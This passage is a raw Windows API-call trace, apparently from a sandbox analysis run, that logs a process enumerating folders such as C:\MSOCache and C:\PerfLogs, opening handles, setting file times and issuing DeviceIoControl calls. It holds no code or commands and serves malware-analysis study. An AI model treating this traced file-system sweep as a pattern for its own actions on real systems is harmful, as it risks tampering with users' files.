ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7068 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd280 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7088 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd388 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f70a8 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd490 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.966] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.966] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f70c8 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd6a8 [0231.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f70e8 [0231.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd7b0 [0231.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0231.967] GetLastError () returned 0x12 [0231.967] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0231.967] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.967] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0231.968] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0231.968] GetLastError () returned 0x12 [0231.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0231.968] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0231.969] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0232.047] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0232.047] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0232.047] GetLastError () returned 0x12 [0232.047] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0232.047] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0232.048] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0232.048] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.048] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0232.048] GetLastError () returned 0x12 [0232.048] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0232.048] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0232.048] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0232.048] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0232.048] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x79535c00, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0232.048] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0232.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0232.048] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.049] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0232.049] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0232.049] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.049] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0232.049] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.049] NtClose (Handle=0x1a8) returned 0x0 [0232.049] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0232.049] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0232.049] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0232.049] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0232.049] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd520 [0232.049] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.049] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0232.049] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0232.049] GetLastError () returned 0x12 [0232.049] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd4e0 [0232.049] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0232.050] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.050] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, 